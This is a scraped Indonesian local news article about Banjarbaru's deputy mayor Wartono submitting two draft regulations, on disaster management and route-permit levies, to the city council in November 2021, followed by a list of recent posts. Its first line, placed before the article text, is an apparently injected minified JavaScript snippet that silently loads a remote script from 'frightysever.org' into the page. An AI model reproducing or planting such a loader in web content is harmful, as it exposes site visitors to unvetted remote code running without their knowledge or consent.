(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Ini Dua Raperda Penyampaian dari Eksekutif ke DPRD Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Wakil Wali Kota Banjarbaru Wartono menyampaikan dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru di gedung Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru, Senin (1/11/2021).

Dua Raperda tersebut yakni Raperda penyelenggaran penanggulangan bencana dan Raperda tentang perubahan atas Perda Nomor 30 Tahun 2011 tentang retribusi izin trayek.

Disampaikan Wawali dalam Raperda penyelenggaraan penanggulangan bencana, penanganan penanggulangan bencana selalu dilaksanakan secara spontan, melibatkan seluruh elemen yang ada di Kota Banjarbaru.

“Baik itu instansi pemerintahan maupun masyarakat, supaya ketika penanggulangan bencana tidak terjadi miskomunikasi,” ujarnya.

 

Baca juga : DPRD Banjarbaru Usulkan Raperda Inisiatif Pondok Pesantren

Dalam hal ini menurut Wartono, harus ada kesiapan dari berbagai elemen yang terkait, harus ada pemahaman tentang bencana dan upaya penanggulangan yang harus dengan perencanaan yang matang.

“Dalam Perda ini diharapkan bisa menjadi acuan semua pihak untuk melaksanakan perannya masing-masing, didalamnya juga membuat prosedur partisipasi masyarakat. Adanya Perda ini bisa menjaga harmonisasi semua pihak,” ujarnya.

Sementara itu, Raperda tentang perubahan atas Perda Nomor 30 Tahun 2011 tentang retribusi izin trayek. Raperda ini disusun berdasarkan Undang-Undang Nomor 28 Tahun 2009 tentang pajak daerah dan retribusi daerah.

Raperda ini juga berdasarkan perkembangan keadaan yang berkaitan tentang peraturan pemerintah Nomor 74 Tahun 2014 tentang angkutan dalam dan peraturan Mentri Perhubungan Nomor 15 Tahun 2019 tentang penyelenggaraan angkutan orang dalam kendaraan bermotor umum dalam trayek.

“Perda ini sudah sepuluh tahun belum dilakukan peninjauan, sehingga Perda nomor 30 tahun 2011 diperlukan penyesuaian,” pungkasnya. (kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.